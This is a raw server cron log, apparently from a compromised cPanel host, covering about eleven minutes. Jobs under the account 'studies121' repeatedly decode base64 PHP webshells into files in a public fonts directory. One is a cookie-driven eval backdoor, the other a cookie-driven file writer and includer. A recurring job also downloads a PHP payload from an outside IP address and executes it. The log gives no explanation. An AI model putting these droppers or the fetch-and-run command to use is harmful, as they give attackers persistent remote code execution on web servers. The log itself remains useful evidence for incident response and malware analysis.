Sep  3 03:57:01 ip-184-168-122-23 CROND[27948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:57:01 ip-184-168-122-23 CROND[27950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:58:01 ip-184-168-122-23 CROND[28156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:58:01 ip-184-168-122-23 CROND[28157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:58:01 ip-184-168-122-23 CROND[28160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:58:01 ip-184-168-122-23 CROND[28159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:58:01 ip-184-168-122-23 CROND[28166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:59:01 ip-184-168-122-23 CROND[28274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:59:01 ip-184-168-122-23 CROND[28279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:59:01 ip-184-168-122-23 CROND[28280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:59:01 ip-184-168-122-23 CROND[28281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:00:01 ip-184-168-122-23 CROND[28375]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:00:01 ip-184-168-122-23 CROND[28376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:00:01 ip-184-168-122-23 CROND[28378]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 04:00:01 ip-184-168-122-23 CROND[28377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:00:01 ip-184-168-122-23 CROND[28382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:00:01 ip-184-168-122-23 CROND[28383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:00:01 ip-184-168-122-23 CROND[28384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:00:01 ip-184-168-122-23 CROND[28385]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:00:01 ip-184-168-122-23 CROND[28386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:01:01 ip-184-168-122-23 CROND[28499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:01:01 ip-184-168-122-23 CROND[28500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:01:01 ip-184-168-122-23 CROND[28502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:01:01 ip-184-168-122-23 CROND[28503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:01:01 ip-184-168-122-23 CROND[28506]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 04:01:01 ip-184-168-122-23 CROND[28505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28506]: starting 0anacron
Sep  3 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28521]: finished 0anacron
Sep  3 04:02:01 ip-184-168-122-23 CROND[28633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:02:01 ip-184-168-122-23 CROND[28635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:02:01 ip-184-168-122-23 CROND[28638]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:02:01 ip-184-168-122-23 CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:02:01 ip-184-168-122-23 CROND[28637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:03:01 ip-184-168-122-23 CROND[28735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:03:01 ip-184-168-122-23 CROND[28734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:03:01 ip-184-168-122-23 CROND[28736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:03:01 ip-184-168-122-23 CROND[28737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:04:01 ip-184-168-122-23 CROND[28819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:04:01 ip-184-168-122-23 CROND[28818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:04:01 ip-184-168-122-23 CROND[28821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:04:01 ip-184-168-122-23 CROND[28822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:04:01 ip-184-168-122-23 CROND[28825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:05:01 ip-184-168-122-23 CROND[29030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:05:01 ip-184-168-122-23 CROND[29032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:05:01 ip-184-168-122-23 CROND[29031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:05:01 ip-184-168-122-23 CROND[29033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:05:01 ip-184-168-122-23 CROND[29036]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:05:01 ip-184-168-122-23 CROND[29034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:05:01 ip-184-168-122-23 CROND[29037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:06:01 ip-184-168-122-23 CROND[29133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:06:01 ip-184-168-122-23 CROND[29134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:06:01 ip-184-168-122-23 CROND[29135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:06:01 ip-184-168-122-23 CROND[29137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:06:01 ip-184-168-122-23 CROND[29136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:07:01 ip-184-168-122-23 CROND[29232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:07:01 ip-184-168-122-23 CROND[29233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:07:01 ip-184-168-122-23 CROND[29234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:07:01 ip-184-168-122-23 CROND[29236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:08:01 ip-184-168-122-23 CROND[29357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:08:01 ip-184-168-122-23 CROND[29361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:08:01 ip-184-168-122-23 CROND[29362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:08:01 ip-184-168-122-23 CROND[29359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:08:01 ip-184-168-122-23 CROND[29360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
